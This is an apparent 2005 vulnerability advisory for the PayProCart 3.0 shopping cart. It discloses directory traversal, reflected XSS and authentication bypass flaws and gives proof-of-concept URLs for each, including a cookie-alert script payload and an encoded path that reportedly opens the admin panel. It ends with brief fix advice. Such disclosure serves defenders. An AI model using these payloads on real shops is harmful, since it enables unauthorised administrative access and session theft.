Authenticaion bypass, Directory transversal and XSS vulnerabilities in PayProCart 3.0 - Profitcode Software

[dcrab <dcrab () hackerscenter com>]

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Severity: High
Title: Authenticaion bypass, Directory transversal and XSS vulnerabilities in PayProCart 3.0 - Profitcode Software
Date: 05/04/2005

Vendor: ProftCode Softwares
Vendor Website: http://www.profitcode.net
Summary: There are, authenticaion bypass, directory transversal and xss vulnerabilities in payprocart 3.0 - profitcode 
software.

Proof of Concept Exploits: 

http://localhost/index.php?modID=../EVIL_VALUE
Directory Transversal
Warning: main(tplates/../EVIL_VALUE.php) [function.main]: failed to open stream: No such file or directory in 
/home/*******/web/*******/index.php on line 159


Warning: main() [function.include]: Failed opening 'tplates/../EVIL_VALUE.php' for inclusion 
(include_path='.:/usr/local/lib/php') in /home/*******/web/*******/index.php on line 159

http://localhost/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops Cookie


http://localhost/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG
Authentication Bypass, Gives access to Admin control panel
After a couple seconds press stop and done, look done at the last screen, thats the administration panel, you now have 
admin access to the shopping cart.


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions 
for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve 
these problems.

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Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to 
contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or 
http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php. 
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